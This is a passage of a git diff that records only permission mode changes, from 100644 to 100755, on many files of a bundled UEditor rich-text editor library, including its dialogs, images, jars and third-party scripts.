a/src/main/resources/static/lib/ueditor/dialogs/scrawl/scrawl.js b/src/main/resources/static/lib/ueditor/dialogs/scrawl/scrawl.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/searchreplace/searchreplace.html b/src/main/resources/static/lib/ueditor/dialogs/searchreplace/searchreplace.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/searchreplace/searchreplace.js b/src/main/resources/static/lib/ueditor/dialogs/searchreplace/searchreplace.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/snapscreen/snapscreen.html b/src/main/resources/static/lib/ueditor/dialogs/snapscreen/snapscreen.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/spechars/spechars.html b/src/main/resources/static/lib/ueditor/dialogs/spechars/spechars.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/spechars/spechars.js b/src/main/resources/static/lib/ueditor/dialogs/spechars/spechars.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/table/dragicon.png b/src/main/resources/static/lib/ueditor/dialogs/table/dragicon.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/table/edittable.css b/src/main/resources/static/lib/ueditor/dialogs/table/edittable.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/table/edittable.html b/src/main/resources/static/lib/ueditor/dialogs/table/edittable.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/table/edittable.js b/src/main/resources/static/lib/ueditor/dialogs/table/edittable.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/table/edittd.html b/src/main/resources/static/lib/ueditor/dialogs/table/edittd.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/table/edittip.html b/src/main/resources/static/lib/ueditor/dialogs/table/edittip.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/template/config.js b/src/main/resources/static/lib/ueditor/dialogs/template/config.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/template/images/bg.gif b/src/main/resources/static/lib/ueditor/dialogs/template/images/bg.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/template/images/pre0.png b/src/main/resources/static/lib/ueditor/dialogs/template/images/pre0.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/template/images/pre1.png b/src/main/resources/static/lib/ueditor/dialogs/template/images/pre1.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/template/images/pre2.png b/src/main/resources/static/lib/ueditor/dialogs/template/images/pre2.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/template/images/pre3.png b/src/main/resources/static/lib/ueditor/dialogs/template/images/pre3.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/template/images/pre4.png b/src/main/resources/static/lib/ueditor/dialogs/template/images/pre4.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/template/template.css b/src/main/resources/static/lib/ueditor/dialogs/template/template.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/template/template.html b/src/main/resources/static/lib/ueditor/dialogs/template/template.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/template/template.js b/src/main/resources/static/lib/ueditor/dialogs/template/template.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/video/images/bg.png b/src/main/resources/static/lib/ueditor/dialogs/video/images/bg.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/video/images/center_focus.jpg b/src/main/resources/static/lib/ueditor/dialogs/video/images/center_focus.jpg old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/video/images/file-icons.gif b/src/main/resources/static/lib/ueditor/dialogs/video/images/file-icons.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/video/images/file-icons.png b/src/main/resources/static/lib/ueditor/dialogs/video/images/file-icons.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/video/images/icons.gif b/src/main/resources/static/lib/ueditor/dialogs/video/images/icons.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/video/images/icons.png b/src/main/resources/static/lib/ueditor/dialogs/video/images/icons.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/video/images/image.png b/src/main/resources/static/lib/ueditor/dialogs/video/images/image.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/video/images/left_focus.jpg b/src/main/resources/static/lib/ueditor/dialogs/video/images/left_focus.jpg old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/video/images/none_focus.jpg b/src/main/resources/static/lib/ueditor/dialogs/video/images/none_focus.jpg old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/video/images/progress.png b/src/main/resources/static/lib/ueditor/dialogs/video/images/progress.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/video/images/right_focus.jpg b/src/main/resources/static/lib/ueditor/dialogs/video/images/right_focus.jpg old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/video/images/success.gif b/src/main/resources/static/lib/ueditor/dialogs/video/images/success.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/video/images/success.png b/src/main/resources/static/lib/ueditor/dialogs/video/images/success.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/video/video.css b/src/main/resources/static/lib/ueditor/dialogs/video/video.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/video/video.html b/src/main/resources/static/lib/ueditor/dialogs/video/video.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/video/video.js b/src/main/resources/static/lib/ueditor/dialogs/video/video.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/webapp/webapp.html b/src/main/resources/static/lib/ueditor/dialogs/webapp/webapp.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/wordimage/fClipboard_ueditor.swf b/src/main/resources/static/lib/ueditor/dialogs/wordimage/fClipboard_ueditor.swf old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/wordimage/imageUploader.swf b/src/main/resources/static/lib/ueditor/dialogs/wordimage/imageUploader.swf old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/wordimage/tangram.js b/src/main/resources/static/lib/ueditor/dialogs/wordimage/tangram.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/wordimage/wordimage.html b/src/main/resources/static/lib/ueditor/dialogs/wordimage/wordimage.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/wordimage/wordimage.js b/src/main/resources/static/lib/ueditor/dialogs/wordimage/wordimage.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/index.html b/src/main/resources/static/lib/ueditor/index.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/jsp/config.json b/src/main/resources/static/lib/ueditor/jsp/config.json old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/jsp/controller.jsp b/src/main/resources/static/lib/ueditor/jsp/controller.jsp old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/jsp/lib/commons-codec-1.9.jar b/src/main/resources/static/lib/ueditor/jsp/lib/commons-codec-1.9.jar old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/jsp/lib/commons-fileupload-1.3.1.jar b/src/main/resources/static/lib/ueditor/jsp/lib/commons-fileupload-1.3.1.jar old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/jsp/lib/commons-io-2.4.jar b/src/main/resources/static/lib/ueditor/jsp/lib/commons-io-2.4.jar old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/jsp/lib/json.jar b/src/main/resources/static/lib/ueditor/jsp/lib/json.jar old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/jsp/lib/ueditor-1.1.2.jar b/src/main/resources/static/lib/ueditor/jsp/lib/ueditor-1.1.2.jar old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/en/en.js b/src/main/resources/static/lib/ueditor/lang/en/en.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/en/images/addimage.png b/src/main/resources/static/lib/ueditor/lang/en/images/addimage.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/en/images/alldeletebtnhoverskin.png b/src/main/resources/static/lib/ueditor/lang/en/images/alldeletebtnhoverskin.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/en/images/alldeletebtnupskin.png b/src/main/resources/static/lib/ueditor/lang/en/images/alldeletebtnupskin.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/en/images/background.png b/src/main/resources/static/lib/ueditor/lang/en/images/background.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/en/images/button.png b/src/main/resources/static/lib/ueditor/lang/en/images/button.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/en/images/copy.png b/src/main/resources/static/lib/ueditor/lang/en/images/copy.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/en/images/deletedisable.png b/src/main/resources/static/lib/ueditor/lang/en/images/deletedisable.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/en/images/deleteenable.png b/src/main/resources/static/lib/ueditor/lang/en/images/deleteenable.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/en/images/listbackground.png b/src/main/resources/static/lib/ueditor/lang/en/images/listbackground.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/en/images/localimage.png b/src/main/resources/static/lib/ueditor/lang/en/images/localimage.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/en/images/music.png b/src/main/resources/static/lib/ueditor/lang/en/images/music.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/en/images/rotateleftdisable.png b/src/main/resources/static/lib/ueditor/lang/en/images/rotateleftdisable.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/en/images/rotateleftenable.png b/src/main/resources/static/lib/ueditor/lang/en/images/rotateleftenable.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/en/images/rotaterightdisable.png b/src/main/resources/static/lib/ueditor/lang/en/images/rotaterightdisable.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/en/images/rotaterightenable.png b/src/main/resources/static/lib/ueditor/lang/en/images/rotaterightenable.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/en/images/upload.png b/src/main/resources/static/lib/ueditor/lang/en/images/upload.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/zh-cn/images/copy.png b/src/main/resources/static/lib/ueditor/lang/zh-cn/images/copy.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/zh-cn/images/localimage.png b/src/main/resources/static/lib/ueditor/lang/zh-cn/images/localimage.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/zh-cn/images/music.png b/src/main/resources/static/lib/ueditor/lang/zh-cn/images/music.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/zh-cn/images/upload.png b/src/main/resources/static/lib/ueditor/lang/zh-cn/images/upload.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/lang/zh-cn/zh-cn.js b/src/main/resources/static/lib/ueditor/lang/zh-cn/zh-cn.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/css/ueditor.css b/src/main/resources/static/lib/ueditor/themes/default/css/ueditor.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/css/ueditor.min.css b/src/main/resources/static/lib/ueditor/themes/default/css/ueditor.min.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/dialogbase.css b/src/main/resources/static/lib/ueditor/themes/default/dialogbase.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/anchor.gif b/src/main/resources/static/lib/ueditor/themes/default/images/anchor.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/arrow.png b/src/main/resources/static/lib/ueditor/themes/default/images/arrow.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/arrow_down.png b/src/main/resources/static/lib/ueditor/themes/default/images/arrow_down.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/arrow_up.png b/src/main/resources/static/lib/ueditor/themes/default/images/arrow_up.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/button-bg.gif b/src/main/resources/static/lib/ueditor/themes/default/images/button-bg.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/cancelbutton.gif b/src/main/resources/static/lib/ueditor/themes/default/images/cancelbutton.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/charts.png b/src/main/resources/static/lib/ueditor/themes/default/images/charts.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/cursor_h.gif b/src/main/resources/static/lib/ueditor/themes/default/images/cursor_h.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/cursor_h.png b/src/main/resources/static/lib/ueditor/themes/default/images/cursor_h.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/cursor_v.gif b/src/main/resources/static/lib/ueditor/themes/default/images/cursor_v.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/cursor_v.png b/src/main/resources/static/lib/ueditor/themes/default/images/cursor_v.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/dialog-title-bg.png b/src/main/resources/static/lib/ueditor/themes/default/images/dialog-title-bg.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/filescan.png b/src/main/resources/static/lib/ueditor/themes/default/images/filescan.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/highlighted.gif b/src/main/resources/static/lib/ueditor/themes/default/images/highlighted.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/icons-all.gif b/src/main/resources/static/lib/ueditor/themes/default/images/icons-all.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/icons.gif b/src/main/resources/static/lib/ueditor/themes/default/images/icons.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/icons.png b/src/main/resources/static/lib/ueditor/themes/default/images/icons.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/loaderror.png b/src/main/resources/static/lib/ueditor/themes/default/images/loaderror.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/loading.gif b/src/main/resources/static/lib/ueditor/themes/default/images/loading.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/lock.gif b/src/main/resources/static/lib/ueditor/themes/default/images/lock.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/neweditor-tab-bg.png b/src/main/resources/static/lib/ueditor/themes/default/images/neweditor-tab-bg.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/pagebreak.gif b/src/main/resources/static/lib/ueditor/themes/default/images/pagebreak.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/scale.png b/src/main/resources/static/lib/ueditor/themes/default/images/scale.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/sortable.png b/src/main/resources/static/lib/ueditor/themes/default/images/sortable.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/spacer.gif b/src/main/resources/static/lib/ueditor/themes/default/images/spacer.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/sparator_v.png b/src/main/resources/static/lib/ueditor/themes/default/images/sparator_v.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/table-cell-align.png b/src/main/resources/static/lib/ueditor/themes/default/images/table-cell-align.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/tangram-colorpicker.png b/src/main/resources/static/lib/ueditor/themes/default/images/tangram-colorpicker.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/toolbar_bg.png b/src/main/resources/static/lib/ueditor/themes/default/images/toolbar_bg.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/unhighlighted.gif b/src/main/resources/static/lib/ueditor/themes/default/images/unhighlighted.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/upload.png b/src/main/resources/static/lib/ueditor/themes/default/images/upload.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/videologo.gif b/src/main/resources/static/lib/ueditor/themes/default/images/videologo.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/word.gif b/src/main/resources/static/lib/ueditor/themes/default/images/word.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/default/images/wordpaste.png b/src/main/resources/static/lib/ueditor/themes/default/images/wordpaste.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/themes/iframe.css b/src/main/resources/static/lib/ueditor/themes/iframe.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/SyntaxHighlighter/shCore.js b/src/main/resources/static/lib/ueditor/third-party/SyntaxHighlighter/shCore.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/SyntaxHighlighter/shCoreDefault.css b/src/main/resources/static/lib/ueditor/third-party/SyntaxHighlighter/shCoreDefault.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/codemirror/codemirror.css b/src/main/resources/static/lib/ueditor/third-party/codemirror/codemirror.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/codemirror/codemirror.js b/src/main/resources/static/lib/ueditor/third-party/codemirror/codemirror.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/adapters/mootools-adapter.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/adapters/mootools-adapter.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/adapters/mootools-adapter.src.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/adapters/mootools-adapter.src.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/adapters/prototype-adapter.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/adapters/prototype-adapter.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/adapters/prototype-adapter.src.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/adapters/prototype-adapter.src.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/adapters/standalone-framework.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/adapters/standalone-framework.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/adapters/standalone-framework.src.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/adapters/standalone-framework.src.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/highcharts-more.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/highcharts-more.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/highcharts-more.src.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/highcharts-more.src.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/highcharts.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/highcharts.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/highcharts.src.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/highcharts.src.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/annotations.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/annotations.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/annotations.src.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/annotations.src.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/canvas-tools.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/canvas-tools.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/canvas-tools.src.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/canvas-tools.src.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/data.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/data.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/data.src.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/data.src.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/drilldown.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/drilldown.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/drilldown.src.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/drilldown.src.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/exporting.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/exporting.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/exporting.src.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/exporting.src.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/funnel.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/funnel.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/funnel.src.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/funnel.src.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/heatmap.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/heatmap.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/heatmap.src.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/heatmap.src.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/map.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/map.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/map.src.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/map.src.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/no-data-to-display.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/no-data-to-display.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/no-data-to-display.src.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/modules/no-data-to-display.src.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/themes/dark-blue.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/themes/dark-blue.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/themes/dark-green.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/themes/dark-green.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/themes/gray.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/themes/gray.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/themes/grid.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/themes/grid.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/highcharts/themes/skies.js b/src/main/resources/static/lib/ueditor/third-party/highcharts/themes/skies.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/jquery-1.10.2.js b/src/main/resources/static/lib/ueditor/third-party/jquery-1.10.2.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/jquery-1.10.2.min.js b/src/main/resources/static/lib/ueditor/third-party/jquery-1.10.2.min.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/jquery-1.10.2.min.map b/src/main/resources/static/lib/ueditor/third-party/jquery-1.10.2.min.map old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/snapscreen/UEditorSnapscreen.exe b/src/main/resources/static/lib/ueditor/third-party/snapscreen/UEditorSnapscreen.exe old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/video-js/font/vjs.eot b/src/main/resources/static/lib/ueditor/third-party/video-js/font/vjs.eot old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/video-js/font/vjs.svg b/src/main/resources/static/lib/ueditor/third-party/video-js/font/vjs.svg old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/video-js/font/vjs.ttf b/src/main/resources/static/lib/ueditor/third-party/video-js/font/vjs.ttf old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/video-js/font/vjs.woff b/src/main/resources/static/lib/ueditor/third-party/video-js/font/vjs.woff old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/video-js/video-js.css b/src/main/resources/static/lib/ueditor/third-party/video-js/video-js.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/video-js/video-js.min.css b/src/main/resources/static/lib/ueditor/third-party/video-js/video-js.min.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/video-js/video-js.swf b/src/main/resources/static/lib/ueditor/third-party/video-js/video-js.swf old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/video-js/video.dev.js b/src/main/resources/static/lib/ueditor/third-party/video-js/video.dev.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/video-js/video.js b/src/main/resources/static/lib/ueditor/third-party/video-js/video.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/webuploader/Uploader.swf b/src/main/resources/static/lib/ueditor/third-party/webuploader/Uploader.swf old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.css b/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.custom.js b/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.custom.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.custom.min.js b/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.custom.min.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.flashonly.js b/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.flashonly.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.flashonly.min.js b/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.flashonly.min.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.html5only.js b/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.html5only.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.html5only.min.js b/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.html5only.min.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.js b/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.min.js b/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.min.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.withoutimage.js b/src/main/resources/static/lib/ueditor/third-party/webuploader/webuploader.withoutimage.js old mode 100644 new mode 100755 diff --git 